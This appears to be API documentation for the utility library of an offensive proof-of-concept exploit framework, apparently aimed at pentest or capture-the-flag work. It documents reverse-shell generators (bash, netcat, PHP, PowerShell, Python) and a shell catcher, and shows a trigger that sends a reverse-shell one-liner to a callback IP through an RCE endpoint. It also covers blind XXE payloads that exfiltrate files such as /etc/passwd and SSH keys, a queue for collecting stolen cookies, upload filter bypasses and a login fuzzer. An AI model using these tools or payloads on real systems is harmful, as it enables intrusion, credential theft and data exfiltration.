Utilities

All utility modules included in generated POC projects.

Reverse Shells

Reverse shell generation utilities for POCs. Quick and dirty shell generation for common scenarios.

your_project.utils.reverse_shells.bash_encoded_shell(callback_host, callback_port=4444)[source]

Generate a base64-encoded bash reverse shell.

Creates:

payloads/shells/rev_bash_b64.sh

Access via:

http://your-server:8000/shells/rev_bash_b64.sh

Returns:

shells/rev_bash_b64.sh (relative path)

your_project.utils.reverse_shells.bash_shell(callback_host, callback_port=4444)[source]

Generate a basic bash reverse shell.

Creates:

payloads/shells/rev_bash.sh

Access via:

http://your-server:8000/shells/rev_bash.sh

Returns:

shells/rev_bash.sh (relative path)

your_project.utils.reverse_shells.nc_mkfifo_shell(callback_host, callback_port=4444)[source]

Generate a netcat reverse shell using mkfifo (for nc without -e).

Creates:

payloads/shells/rev_nc_mkfifo.sh

Access via:

http://your-server:8000/shells/rev_nc_mkfifo.sh

Returns:

shells/rev_nc_mkfifo.sh (relative path)

your_project.utils.reverse_shells.nc_shell(callback_host, callback_port=4444)[source]

Generate a netcat reverse shell.

Creates:

payloads/shells/rev_nc.sh

Access via:

http://your-server:8000/shells/rev_nc.sh

Returns:

shells/rev_nc.sh (relative path)

your_project.utils.reverse_shells.php_shell(callback_host, callback_port=4444)[source]

Generate a PHP reverse shell.

Creates:

payloads/shells/rev_php.php

Access via:

http://your-server:8000/shells/rev_php.php

Returns:

shells/rev_php.php (relative path)

your_project.utils.reverse_shells.powershell_oneliner(callback_host, callback_port=4444)[source]

Return a PowerShell reverse shell one-liner (not written to file).

Creates:

Nothing (returns command string only)

Returns:

PowerShell one-liner command string for direct execution

your_project.utils.reverse_shells.powershell_shell(callback_host, callback_port=4444)[source]

Generate a PowerShell reverse shell.

Creates:

payloads/shells/rev_powershell.ps1

Access via:

http://your-server:8000/shells/rev_powershell.ps1

Returns:

shells/rev_powershell.ps1 (relative path)

your_project.utils.reverse_shells.python_oneliner(callback_host, callback_port=4444)[source]

Return a Python reverse shell one-liner (not written to file).

Creates:

Nothing (returns command string only)

Returns:

Python one-liner command string for direct execution

your_project.utils.reverse_shells.python_shell(callback_host, callback_port=4444)[source]

Generate a Python reverse shell.

Creates:

payloads/shells/rev_python.py

Access via:

http://your-server:8000/shells/rev_python.py

Returns:

shells/rev_python.py (relative path)

Shell Catcher

Shell catcher utility for POCs. Catch reverse shells directly in your exploit script.

class your_project.utils.shell_catcher.ShellCatcher(port, host='0.0.0.0')[source]

Bases: object

Simple reverse shell catcher for POCs.

Examples

from utils.shell_catcher import ShellCatcher

# Start listener in background
catcher = ShellCatcher(4444)
catcher.start()

# Trigger your exploit here
exploit_target()

# Wait for shell and interact
if catcher.wait_for_shell(timeout=10):
    catcher.interact()
cleanup()[source]

Clean up connections

interact(use_raw=None)[source]

Interact with caught shell

send_command(cmd, wait_response=True, timeout=2)[source]

Send a single command and optionally get response

stabilize()[source]

Try to stabilize/upgrade the shell

start()[source]

Start listener in background thread

wait_for_shell(timeout=30)[source]

Wait for shell to connect

your_project.utils.shell_catcher.auto_shell(port=4444, wait_timeout=30)[source]

Context manager for shell catching with auto-wait.

Examples

with auto_shell(4444) as catcher:
    # Trigger exploit
    exploit_target()

    # Automatically waits for shell
    if catcher.shell_caught:
        catcher.send_command("id")
        catcher.interact()
your_project.utils.shell_catcher.quick_catch(port=4444, trigger_func=None, trigger_delay=1)[source]

Quick helper to catch a shell with optional trigger function.

The trigger function should exploit the RCE vulnerability to make the target execute a reverse shell that connects back to your listener.

Examples

from your_project.utils.reverse_shells import python_oneliner

def trigger():
    # Send reverse shell command to vulnerable RCE endpoint
    cmd = python_oneliner('10.10.14.5', 4444)
    # This makes the TARGET execute the reverse shell
    requests.get(f"http://target.com/vulnerable?cmd={cmd}")

quick_catch(4444, trigger_func=trigger)

# Or without a trigger (if you trigger manually):
quick_catch(4444)  # Then trigger exploit separately

HTML Parser

HTML parsing utility for extracting data from web responses.

Example:

# Make a request to target
response = requests.get("http://target.com/login")

# Parse the HTML response
parser = HTMLParser.from_response(response)

# Find CSRF token for form submission
csrf_token = parser.find_csrf_token()
if csrf_token:
    out.success(f"Found CSRF token: {csrf_token}")
class your_project.utils.html_parser.HTMLParser(html)[source]

Bases: object

Parameters:

html (str)

css_select(selector)[source]

Select elements using CSS selector syntax.

Parameters:

selector (str) – CSS selector string (e.g., ‘div.class’, ‘#id’, ‘form input[type=”hidden”]’)

Returns:

List of matching Tag objects

Example

# Find all hidden inputs
hidden = parser.css_select('input[type="hidden"]')

# Find all links in navigation
nav_links = parser.css_select('nav a')
css_select_one(selector)[source]

Select first element matching CSS selector.

Parameters:

selector (str) – CSS selector string

Returns:

First matching Tag object or None

dump_forms()[source]

Print all forms with their inputs and values (for debugging).

Useful for quick reconnaissance of form structures and hidden fields.

Example

# Quick form analysis
parser = HTMLParser.from_response(response)
parser.dump_forms()
# Output:
# Form 1:
#   Action: /login
#   Method: POST
#   username:
#   password:
#   csrf_token: abc123...

Print all links found in the HTML (for crawling/mapping).

Example

parser.dump_links()
# Output:
# Home: /
# Admin Panel: /admin
# Login: /login
extract_attrs(element)[source]
Return type:

Dict

extract_form_data(form)[source]

Extract all input data from a form element.

Extracts names and values from input, textarea, and select elements, handling checkboxes, radio buttons, and default values properly.

Parameters:

form – BeautifulSoup form Tag object

Returns:

Dict mapping input names to their values

Return type:

Dict[str, Any]

Example

form = parser.find_forms()[0]
data = parser.extract_form_data(form)
data['username'] = 'admin'  # Update with your values
requests.post(url, data=data)
extract_text(element=None)[source]
Return type:

str

find_all_by_attr(attr_name, attr_value)[source]
Parameters:
  • attr_name (str)

  • attr_value (str)

find_all_by_class(class_name)[source]

Find all elements with given class name.

Parameters:

class_name (str) – The CSS class to search for

Returns:

List of BeautifulSoup Tag objects

find_all_by_id(element_id)[source]

Find all elements with given ID (invalid HTML but sometimes happens).

Parameters:

element_id (str) – The ID attribute value to search for

Returns:

List of BeautifulSoup Tag objects

find_all_by_name(name)[source]
Parameters:

name (str)

find_all_by_tag(tag_name)[source]
Parameters:

tag_name (str)

find_all_csrf_tokens()[source]
Return type:

Dict[str, str]

find_by_attr(attr_name, attr_value)[source]
Parameters:
  • attr_name (str)

  • attr_value (str)

find_by_class(class_name)[source]

Find first element with given class name.

Parameters:

class_name (str) – The CSS class to search for

Returns:

BeautifulSoup Tag object or None

find_by_id(element_id)[source]

Find first element with given ID.

Parameters:

element_id (str) – The ID attribute value to search for

Returns:

BeautifulSoup Tag object or None

find_by_name(name)[source]
Parameters:

name (str)

find_by_tag(tag_name)[source]
Parameters:

tag_name (str)

find_csrf_token()[source]

Find CSRF token in the HTML (checks common locations and names).

Searches for CSRF tokens in: - Meta tags with common CSRF names - Input fields with common CSRF names - Hidden input fields containing ‘csrf’ or ‘token’

Returns:

CSRF token value if found, None otherwise

Return type:

str | None

Example

parser = HTMLParser.from_response(response)
csrf = parser.find_csrf_token()
if csrf:
    form_data = {'csrf_token': csrf, 'username': 'admin'}
    requests.post(url, data=form_data)
find_forms()[source]

Find all form elements in the HTML.

Returns:

List of form Tag objects

Return type:

List

find_inputs(form=None)[source]

Find all input elements, optionally within a specific form.

Parameters:

form – Optional form element to search within

Returns:

List of input Tag objects

Return type:

List

Find all links (anchor tags with href).

Returns:

List of anchor Tag objects with href attributes

Return type:

List

find_meta()[source]
Return type:

List

find_scripts()[source]
Return type:

List

classmethod from_file(filepath)[source]

Create parser from HTML file.

Parameters:

filepath (str) – Path to HTML file

Returns:

HTMLParser instance initialized with file contents

classmethod from_response(response)[source]

Create parser from requests Response object.

Parameters:

response – A requests.Response object

Returns:

HTMLParser instance initialized with response text

get_headers()[source]
Return type:

Dict[str, List[str]]

get_title()[source]
Return type:

str | None

search(text, tag=None)[source]
Parameters:
your_project.utils.html_parser.parse_file(filepath)[source]

Quick helper to create parser from HTML file.

Parameters:

filepath (str) – Path to HTML file

Returns:

HTMLParser instance

Return type:

HTMLParser

your_project.utils.html_parser.parse_response(response)[source]

Quick helper to create parser from requests Response.

Parameters:

response – requests.Response object

Returns:

HTMLParser instance

Return type:

HTMLParser

Example

resp = requests.get("http://target.com")
parser = parse_response(resp)
csrf = parser.find_csrf_token()
your_project.utils.html_parser.quick_parse(html)[source]

Quick helper to create parser from HTML string.

Parameters:

html (str) – HTML content as string

Returns:

HTMLParser instance

Return type:

HTMLParser

Encoding

Common encoding/decoding utilities for POCs.

Quick reference for encoding payloads, bypassing filters, and hashing credentials.

Example

from your_project.utils.encoding import base64_encode, url_encode, md5

# Encode SQL injection payload
payload = "admin' OR '1'='1"
encoded = base64_encode(payload)  # For Authorization headers, etc.

# Double encode for filter bypass
from your_project.utils.encoding import double_url_encode
bypass = double_url_encode("../../../etc/passwd")

# Hash stolen password
password_hash = md5("password123")
your_project.utils.encoding.base64_decode(data)[source]

Base64 decode string.

Parameters:

data – Base64 encoded string or bytes

Returns:

Decoded string

Example

base64_decode("YWRtaW46cGFzc3dvcmQ=")"admin:password"

your_project.utils.encoding.base64_encode(data)[source]

Base64 encode string or bytes.

Parameters:

data – String or bytes to encode

Returns:

Base64 encoded string

Example

base64_encode("admin:password")"YWRtaW46cGFzc3dvcmQ="

your_project.utils.encoding.char_codes(data)[source]

Convert to JavaScript char codes.

Useful for XSS payloads with String.fromCharCode().

Parameters:

data – String to convert

Returns:

Comma-separated character codes

Example

char_codes("alert")"97,108,101,114,116"

your_project.utils.encoding.crc32(data)[source]

CRC32 checksum

your_project.utils.encoding.double_url_encode(data)[source]

Double URL encode string for filter bypasses.

Useful when the application decodes input once but processes it twice.

Parameters:

data – String to double encode

Returns:

Double URL encoded string

Example

double_url_encode("../")"%252E%252E%252F"

your_project.utils.encoding.hash_file(filepath, algorithm='sha256')[source]

Hash a file with specified algorithm

your_project.utils.encoding.hex_decode(data)[source]

Hex decode string.

Parameters:

data – Hexadecimal string

Returns:

Decoded string

Example

hex_decode("414243")"ABC"

your_project.utils.encoding.hex_encode(data)[source]

Hex encode string or bytes.

Parameters:

data – String or bytes to encode

Returns:

Hexadecimal string

Example

hex_encode("ABC")"414243"

your_project.utils.encoding.hmac_sha256(key, data)[source]

HMAC-SHA256 for API signatures

your_project.utils.encoding.html_decode(data)[source]

HTML entity decode string.

Parameters:

data – HTML entity encoded string

Returns:

Decoded string

Example

html_decode("&lt;script&gt;")"<script>"

your_project.utils.encoding.html_encode(data)[source]

HTML entity encode string for XSS prevention.

Parameters:

data – String to encode

Returns:

HTML entity encoded string

Example

html_encode("<script>")"&lt;script&gt;"

your_project.utils.encoding.json_decode(data)[source]

JSON decode string

your_project.utils.encoding.json_encode(data)[source]

JSON encode object

your_project.utils.encoding.md5(data)[source]

MD5 hash string or bytes.

Common for older password hashes and checksums.

Parameters:

data – String or bytes to hash

Returns:

MD5 hex digest (32 characters)

Example

md5("password123")"482c811da5d5b4bc6d497ffa98491e38"

your_project.utils.encoding.ntlm(password)[source]

NTLM hash (MD4 of UTF-16LE password)

your_project.utils.encoding.sha1(data)[source]

SHA1 hash string or bytes.

Parameters:

data – String or bytes to hash

Returns:

SHA1 hex digest (40 characters)

Example

sha1("password123")"aafdc23870ecbcd3d557b6423a8982134e17927e"

your_project.utils.encoding.sha256(data)[source]

SHA256 hash string or bytes.

Modern standard for password hashing and signatures.

Parameters:

data – String or bytes to hash

Returns:

SHA256 hex digest (64 characters)

Example

sha256("password123")"ef92b778bafe771e8978...e5f29cb75" (truncated)

your_project.utils.encoding.sha512(data)[source]

SHA512 hash string or bytes.

Parameters:

data – String or bytes to hash

Returns:

SHA512 hex digest (128 characters)

your_project.utils.encoding.unicode_encode(data)[source]

Unicode encode string for filter bypasses.

Converts string to JavaScript unicode escape sequences.

Parameters:

data – String to encode

Returns:

Unicode escaped string

Example

unicode_encode("<script>")"\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e"

your_project.utils.encoding.url_decode(data)[source]

URL decode string.

Parameters:

data – URL encoded string

Returns:

Decoded string

Example

url_decode("%3Cscript%3E")"<script>"

your_project.utils.encoding.url_encode(data)[source]

URL encode string (percent encoding).

Parameters:

data – String to encode

Returns:

URL encoded string

Example

url_encode("../etc/passwd")"..%2Fetc%2Fpasswd"

Output

Simple colored output utilities for POCs.

This module provides colored console output to make POC execution more readable and easier to debug. Use instead of print() statements.

class your_project.utils.output.Output[source]

Bases: object

Simple colored output for POCs.

Provides static methods for different types of console messages with color coding and prefixes for better visibility.

verbose

Class variable controlling debug output visibility

Type:

bool

static debug(msg)[source]

Print a debug message in magenta with [DEBUG] prefix.

Only prints if verbose mode is enabled via Output.set_verbose(True).

Parameters:

msg – Debug message to display

Examples

Output.set_verbose(True)
out.debug("Response: 200 OK")
# Output: [DEBUG] Response: 200 OK  (in magenta)

Output.set_verbose(False)
out.debug("This won't print")
# (no output)
static error(msg)[source]

Print an error message in red with [-] prefix.

Parameters:

msg – Error message to display

Examples

out.error("Connection failed")
# Output: [-] Connection failed  (in red)
static info(msg)[source]

Print an info message in blue with [*] prefix.

Parameters:

msg – Info message to display

Examples

out.info("Starting exploit")
# Output: [*] Starting exploit  (in blue)
static raw(msg, color=None)[source]

Print a message with no prefix and optional color.

Parameters:
  • msg – Message to print

  • color – Optional colorama color (e.g., Fore.RED)

Examples

out.raw("Plain text")
# Output: Plain text

out.raw("Colored text", Fore.MAGENTA)
# Output: Colored text  (in magenta)
classmethod set_verbose(enabled)[source]

Enable or disable verbose (debug) output.

Parameters:

enabled (bool) – True to show debug messages, False to hide them

Examples

from utils.output import Output
Output.set_verbose(True)
out.debug("This will now be visible")
static status(msg)[source]

Print a status message in cyan with […] prefix.

Parameters:

msg – Status message to display

Examples

out.status("Extracting data...")
# Output: [...] Extracting data...  (in cyan)
static success(msg)[source]

Print a success message in green with [+] prefix.

Parameters:

msg – Message to display

Examples

out.success("Target is vulnerable!")
# Output: [+] Target is vulnerable!  (in green)
verbose = False
static warning(msg)[source]

Print a warning message in yellow with [!] prefix.

Parameters:

msg – Warning message to display

Examples

out.warning("Using default credentials")
# Output: [!] Using default credentials  (in yellow)

Cookie Handling

Cookie parsing utilities for POCs.

This module provides functions for parsing and manipulating cookie strings, making it easy to use stolen cookies in requests.

your_project.utils.cookie.cookie_string_to_header(cookie_string)[source]

Convert cookie string to a properly formatted Cookie header value.

Parses the cookie string and reconstructs it as a clean Cookie header value, removing any extra whitespace or formatting issues.

Parameters:

cookie_string – Cookie string in any format

Returns:

Clean cookie string suitable for Cookie header

Return type:

str

Examples

cookie_str = "token=abc123; username=admin"
header = cookie_string_to_header(cookie_str)
header
'token=abc123; username=admin'

# Use with requests:
headers = {'Cookie': header}
response = requests.get(url, headers=headers)

Parse a cookie string into a dict suitable for use with requests.

Takes a cookie string (e.g., from document.cookie or Set-Cookie header) and converts it to a dictionary that can be passed to requests.

Parameters:

cookie_string – Cookie string in format “key1=value1; key2=value2”

Returns:

Dictionary of cookie names to values

Return type:

dict

Examples

cookie_str = "token=abc123; username=admin; session=xyz"
cookies = parse_cookie_string(cookie_str)
cookies
{'token': 'abc123', 'username': 'admin', 'session': 'xyz'}

# Use with requests:
response = requests.get(url, cookies=cookies)

Server Hooks

Simple utilities for interacting with the http server’s event queue. Use this from your exploit to get cookies and other events.

your_project.utils.server_hooks.drain_queue(server='http://localhost:8000')[source]

Clear all pending events from the queue. Useful for starting fresh before a new exploit attempt.

Pop next cookie from server queue.

Returns just the cookie data string or None if timeout/no cookie. Will wait up to timeout seconds for a cookie to arrive.

your_project.utils.server_hooks.get_event(server='http://localhost:8000', timeout=30, wait=False)[source]

Pop next event from the server queue.

Returns the event dict or None if timeout/empty. If wait=True, will poll until event arrives or timeout.

your_project.utils.server_hooks.get_exfil(server='http://localhost:8000', timeout=30)[source]

Pop next exfiltrated data from server queue (for XXE, SSRF, etc).

Returns just the exfil data string or None if timeout/no data. Will wait up to timeout seconds for data to arrive.

your_project.utils.server_hooks.wait_for_callback(server='http://localhost:8000', timeout=30, param='cookie')[source]

Wait for a specific callback type to arrive.

Examples

# Send XSS payload
send_payload(xss)
# Wait for cookie to arrive
cookie = wait_for_callback(timeout=10)
if cookie:
    print(f"Got cookie: {cookie}")

XSS Payloads

XXE Payloads

XXE (XML External Entity) payload generator for quick POC development

XXE Primer:

XXE attacks exploit XML parsers that process external entity references. Think of it as “XML includes” that can read files or make requests.

Two main types:

  1. Basic XXE: File content appears in response (use basic_file_read())

  2. Blind XXE: No direct output, exfiltrate via callbacks (use blind_oob())

For blind XXE you need:

  • A payload to send to target (tells target to fetch your DTD)

  • A DTD file on YOUR server (tells target what file to steal)

  • Your server running to capture the stolen data

Quick start:

# Generate everything
xxe, dtd = generate_oob_files("http://10.10.14.5:8000")

# Send payload to target
payload = quick_test("http://10.10.14.5:8000")
requests.post("http://vulnerable/api", data=payload)

# Get the stolen data
from utils.server_hooks import get_exfil
data = get_exfil()
your_project.utils.xxe.basic_file_read(file_path='/etc/passwd', entity_name='xxe')[source]

Basic XXE to read local files - SIMPLE but often BLOCKED

This is the simplest XXE attack. The file content appears directly in the XML response.

Use this when:

  • The app returns/displays the parsed XML

  • The app shows error messages with entity content

  • You’re testing if XXE works at all

Won’t work if:

  • The app doesn’t return XML content (blind XXE)

  • File has special characters that break XML

  • File is too large

  • Firewall blocks file:// protocol

For blind scenarios, use blind_oob() instead.

Parameters:
  • file_path (str) – Local file on target to read

  • entity_name (str) – Name of XML entity (rarely need to change)

Returns:

Simple XXE payload - file content appears in response

Return type:

str

Examples

payload = basic_file_read("/etc/passwd")
# If vulnerable, response will contain passwd file
your_project.utils.xxe.blind_oob(base_url, file_path='/etc/passwd', dtd_path='xxe/xxe.dtd')[source]

Blind XXE with out-of-band (OOB) exfiltration via external DTD

This is the MAIN payload you send to the vulnerable target. It tells the target’s XML parser to fetch your malicious DTD file from YOUR server.

How it works:

  1. Target parses this XML → sees external DTD reference

  2. Target fetches DTD from YOUR server (base_url/xxe/xxe.dtd)

  3. DTD contains instructions to read local file and send to you

  4. Target’s data gets exfiltrated to your server

Parameters:
  • base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)

  • file_path (str) – File to steal from target (e.g., /etc/passwd, /home/user/.ssh/id_rsa)

  • dtd_path (str) – Path where DTD is served from your server

Returns:

XML payload to send to the vulnerable target

Return type:

str

Examples

payload = blind_oob("http://10.10.14.5:8000")
# Send this payload to the target's XML endpoint
your_project.utils.xxe.docx_xxe(base_url, dtd_path='xxe/xxe.dtd')[source]

XXE payload for DOCX files (goes in word/document.xml)

Parameters:
  • base_url (str)

  • dtd_path (str)

Return type:

str

your_project.utils.xxe.expect_wrapper(command='id')[source]

XXE using PHP expect wrapper (requires PHP expect module)

Parameters:

command (str)

Return type:

str

your_project.utils.xxe.generate_oob_files(base_url, file_path='/etc/passwd')[source]

Generate BOTH files needed for blind XXE attack - convenient helper!

Blind XXE requires TWO things:

  1. XXE payload → You send this to the target

  2. DTD file → Automatically written to payloads/xxe/xxe.dtd

Complete attack flow:

┌─────────────────────────────────────────────────┐
│ 1. You run: generate_oob_files("http://IP:8000") │
│    Creates: payloads/xxe/oob-xxe.xml             │
│    Creates: payloads/xxe/xxe.dtd                 │
│                                                   │
│ 2. Start your server: python servers/server.py   │
│    (This serves the xxe.dtd file)                │
│                                                   │
│ 3. Send oob-xxe.xml content to target's XML API  │
│                                                   │
│ 4. Target processes XML → fetches your xxe.dtd   │
│    → reads local file → sends to your server     │
│                                                   │
│ 5. Check your server logs or use get_exfil()     │
└─────────────────────────────────────────────────┘
Parameters:
  • base_url (str) – Your server URL (e.g., http://10.10.14.5:8000)

  • file_path (str) – File to steal from target (e.g., /etc/passwd)

Returns:

(xxe_payload_path, dtd_file_path)

  • xxe_payload_path: Send this content to target

  • dtd_file_path: Automatically served from your server

Return type:

Tuple

Examples

# Generate everything
xxe, dtd = generate_oob_files("http://10.10.14.5:8000")

# Read and send the XXE payload
with open(f"payloads/{xxe}") as f:
    payload = f.read()
requests.post("http://target/api", data=payload)

# Get the stolen data
data = get_exfil()
your_project.utils.xxe.jar_protocol(jar_url)[source]

XXE using jar: protocol for Java apps

Parameters:

jar_url (str)

Return type:

str

your_project.utils.xxe.oob_dtd(base_url, file_path='/etc/passwd', filename='xxe.dtd')[source]

Generate AND write the external DTD file to payloads/xxe/

This DTD file MUST be served from your web server for blind XXE to work. So we automatically write it to the correct location!

The DTD contains instructions to:

  1. Read the local file from the target system

  2. Send that file content back to your server

Parameters:
  • base_url (str) – Your server URL where you want data sent

  • file_path (str) – File to steal from target system

  • filename (str) – DTD filename (default: xxe.dtd)

Returns:

Relative path where DTD was written (e.g., xxe/xxe.dtd)

Return type:

str

Note

&#x25; is XML entity for % - prevents premature parsing

Examples

# Automatically writes to payloads/xxe/xxe.dtd
dtd_path = oob_dtd("http://10.10.14.5:8000", "/etc/passwd")
# DTD is now ready to be served!
your_project.utils.xxe.parameter_entity(base_url, file_path='/etc/passwd')[source]

XXE using parameter entities - self-contained blind XXE (no external DTD needed!)

This is clever: instead of hosting a DTD file, we embed it using data: URI. Everything happens in one payload - no need to serve files!

Use this when: - You can’t/don’t want to host a DTD file - Firewall blocks outbound HTTP but allows file:// protocol - You want a self-contained attack

Parameters:
  • base_url (str) – Your server URL for receiving exfiltrated data

  • file_path (str) – File to steal from target

Returns:

Self-contained XXE payload with embedded DTD

Return type:

str

Examples

payload = parameter_entity("http://10.10.14.5:8000")
# One payload does everything - no DTD file needed!
your_project.utils.xxe.php_filter_b64(file_path='/etc/passwd')[source]

XXE using PHP filter wrapper - reads files as base64 (PHP targets only!)

Why base64? Some files contain characters that break XML parsing: - Binary files (images, executables) - Files with < > & characters - Files with null bytes

Base64 encoding makes ANY file safe to include in XML. You’ll need to base64 decode the result to get the actual file.

Only works if: - Target is PHP application - PHP has filter wrapper enabled (usually is)

Parameters:

file_path (str) – File to read (will be base64 encoded)

Returns:

XXE payload using PHP filter wrapper

Return type:

str

Examples

payload = php_filter_b64("/var/www/config.php")
# Response will contain base64 encoded file
# Decode with: base64.b64decode(response_text)
your_project.utils.xxe.quick_test(base_url, file_path='/etc/passwd')[source]

Quick XXE test - sets up everything and returns payload

This is the FASTEST way to test XXE: 1. Automatically creates the DTD file 2. Returns the XXE payload ready to send

Perfect for quick testing when you just found an XML endpoint.

Parameters:
Returns:

XXE payload string to send to target

Return type:

str

Examples

# One function does everything!
payload = quick_test("http://10.10.14.5:8000")

# DTD is written, payload is ready - just send it:
requests.post("http://target/api", data=payload)

# Get the result:
print(get_exfil())
your_project.utils.xxe.soap_xxe(base_url, file_path='/etc/passwd')[source]

XXE in SOAP envelope

Parameters:
  • base_url (str)

  • file_path (str)

Return type:

str

your_project.utils.xxe.svg_xxe(base_url, file_path='/etc/passwd')[source]

XXE in SVG format - useful for upload/image processors

Parameters:
  • base_url (str)

  • file_path (str)

Return type:

str

your_project.utils.xxe.utf7_bypass(file_path='/etc/passwd')[source]

XXE using UTF-7 encoding to bypass filters

Parameters:

file_path (str)

Return type:

str

your_project.utils.xxe.write_payload(filename, content, subdir='xxe')[source]

Write payload to payloads/xxe/ directory

Returns: Relative path for serving (e.g., “xxe/payload.xml”)

Parameters:
Return type:

str

your_project.utils.xxe.xlsx_xxe(base_url, dtd_path='xxe/xxe.dtd')[source]

XXE payload for XLSX files (goes in xl/workbook.xml)

Parameters:
  • base_url (str)

  • dtd_path (str)

Return type:

str

Timing

Time utilities for POCs - timestamp generation, timing attacks, etc.

your_project.utils.timing.date_to_timestamp(date_str, ms=False)[source]

Convert date string to epoch timestamp

Parameters:
  • date_str – String like ‘2024-01-01 00:00:00’

  • ms – True to return milliseconds

your_project.utils.timing.epoch_ms_now()[source]

Current epoch time in milliseconds. Use for millisecond-precision timestamps.

your_project.utils.timing.epoch_now()[source]

Current epoch time in seconds. Use for second-precision timestamps.

your_project.utils.timing.epoch_range(start_date, end_date, step_minutes=1)[source]

Generate range of epoch timestamps between two dates

Parameters:
  • start_date – String like ‘2024-01-01 00:00:00’ or epoch timestamp (int/float)

  • end_date – String like ‘2024-01-01 23:59:59’ or epoch timestamp (int/float)

  • step_minutes – Minutes between each timestamp

Returns:

List of epoch timestamps

your_project.utils.timing.epoch_range_ms(start_ms, end_ms)[source]

Generate all millisecond timestamps between start and end

Parameters:
  • start_ms – Start timestamp in milliseconds (int)

  • end_ms – End timestamp in milliseconds (int)

Returns:

List of all millisecond timestamps in range

your_project.utils.timing.http_date_to_epoch_ms(http_date)[source]

Convert HTTP Date header to epoch milliseconds

Parameters:

http_date – HTTP date string (RFC 2822 format) e.g., ‘Sun, 05 Oct 2025 02:43:25 GMT’

Returns:

Epoch timestamp in milliseconds

your_project.utils.timing.identify_timestamp(value)[source]

Identify timestamp type and suggest generation function

Parameters:

value – Integer or string timestamp to identify

Returns:

Dict with type info and suggested function

your_project.utils.timing.measure_time(func, *args, **kwargs)[source]

Measure execution time of a function in seconds

Usage:

duration = measure_time(requests.get, url, timeout=10)

your_project.utils.timing.sleep_ms(milliseconds)[source]

Sleep for specified milliseconds

your_project.utils.timing.time_based_check(func, threshold=5.0, *args, **kwargs)[source]

Check if function takes longer than threshold seconds

Useful for blind time-based SQLi/XXE detection Returns duration if >= threshold, None otherwise

your_project.utils.timing.time_ms()[source]

Current time in milliseconds

your_project.utils.timing.time_ns()[source]

Current time in nanoseconds

your_project.utils.timing.time_us()[source]

Current time in microseconds

your_project.utils.timing.timestamp_to_date(timestamp, ms=False)[source]

Convert epoch timestamp to readable date

Parameters:
  • timestamp – Epoch timestamp

  • ms – True if timestamp is in milliseconds

File Upload

File upload utilities for multipart/form-data requests

class your_project.utils.file_upload.FileUploader(session=None)[source]

Bases: object

Wrapper for handling file uploads with multipart/form-data

Parameters:

session (Session | None)

upload(url, file_content, filename, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]

Upload a file using multipart/form-data

Parameters:
  • url (str) – Target URL for the upload

  • file_content (str | bytes) – File content (string or bytes)

  • filename (str) – Name of the file (can include encoded characters like %00)

  • file_field_name (str) – Form field name for the file (default: “file”)

  • content_type (str | None) – MIME type of the file (default: auto-detect)

  • additional_fields (Dict[str, str] | None) – Additional form fields to include

  • **kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

Response

upload_from_path(url, file_path, custom_filename=None, file_field_name='file', content_type=None, additional_fields=None, **kwargs)[source]

Upload a file from disk

Parameters:
  • url (str) – Target URL for the upload

  • file_path (str | Path) – Path to the file on disk

  • custom_filename (str | None) – Custom filename to use (default: actual filename)

  • file_field_name (str) – Form field name for the file

  • content_type (str | None) – MIME type of the file (default: auto-detect)

  • additional_fields (Dict[str, str] | None) – Additional form fields

  • **kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

Response

upload_with_bypass(url, file_content, filename, bypass_technique=None, file_field_name='file', additional_fields=None, **kwargs)[source]

Upload a file with various bypass techniques

Parameters:
  • url (str) – Target URL for the upload

  • file_content (str | bytes) – File content

  • filename (str) – Base filename

  • bypass_technique (str | None) – Technique to use (‘null_byte’, ‘double_extension’, ‘case_variation’, ‘mime_mismatch’)

  • file_field_name (str) – Form field name for the file

  • additional_fields (Dict[str, str] | None) – Additional form fields

  • **kwargs – Additional arguments to pass to requests

Returns:

Response object from the upload request

Return type:

Response

your_project.utils.file_upload.quick_upload(session, url, content, filename, submit_button=None)[source]

Quick helper function for simple file uploads

Parameters:
  • session (Session) – Requests session to use

  • url (str) – Target URL

  • content (str | bytes) – Content to upload

  • filename (str) – Filename to use

  • submit_button (tuple[str, str] | None) – Optional tuple of (field_name, field_value) for submit button

Returns:

Response object

Return type:

Response

Batch Requests

Batch request utility for sending multiple HTTP requests with different parameters.

class your_project.utils.batch_request.BatchResult(payload, response, matched, error=None, cookies=None)[source]

Bases: object

Result from a single request in the batch.

Parameters:
cookies: Dict[str, str] | None = None
error: Exception | None = None
matched: bool
payload: Dict[str, Any]
response: httpx.Response | None
async your_project.utils.batch_request.batch_request(base_request, payloads, validate, concurrency=10, timeout=10.0, show_progress=True, proxy=None, filter_matched=False, drop_response=False, stop_on_match=False, **client_kwargs)[source]

Send multiple HTTP requests using a base request as template.

Parameters:
  • base_request (httpx.Request) – Base httpx.Request to use as template

  • payloads (Iterator[Dict[str, Any]]) – Iterator of kwargs dicts to override the base request

  • validate (Callable[[httpx.Response], bool]) – Function to check if response matches criteria

  • concurrency (int) – Max concurrent requests (default: 10)

  • timeout (float) – Request timeout in seconds (default: 10.0)

  • show_progress (bool) – Print successful matches (default: True)

  • proxy (str | None) – HTTP proxy URL (e.g., “http://127.0.0.1:8080”)

  • filter_matched (bool) – Only return results where validate() is True (default: False)

  • drop_response (bool) – Don’t store response object to save memory (default: False)

  • stop_on_match (bool) – Stop sending requests after first match (default: False)

  • **client_kwargs – Additional kwargs for httpx.AsyncClient

Returns:

List of BatchResult objects (only matched if filter_matched=True)

Return type:

List[BatchResult]

Examples

# Build base request with all common parameters
client = httpx.Client()
base = client.build_request(
    "POST",
    "http://target/api/login",
    json={"username": "test", "password": "test"},
    headers={"X-API-Key": "secret"}
)

# Fuzz just the username field
results = await batch_request(
    base,
    payloads=[
        {"json": {"username": "admin", "password": "test"}},
        {"json": {"username": "root", "password": "test"}},
    ],
    validate=lambda r: r.status_code == 200,
    proxy="http://127.0.0.1:8080",  # Send through Burp
    filter_matched=True,  # Only return successful logins
    drop_response=True  # Save memory for large scans
)
your_project.utils.batch_request.batch_request_sync(base_request, payloads, validate, **kwargs)[source]

Synchronous wrapper for batch_request.

Examples

client = httpx.Client()
base = client.build_request(
    "POST",
    "http://target/login",
    json={"username": "test", "password": "test"}
)

results = batch_request_sync(
    base,
    payloads=generate_json_payloads("username", ["admin", "root", "test"]),
    validate=lambda r: "dashboard" in r.text,
    proxy="http://127.0.0.1:8080"  # Optional: route through Burp
)
Parameters:
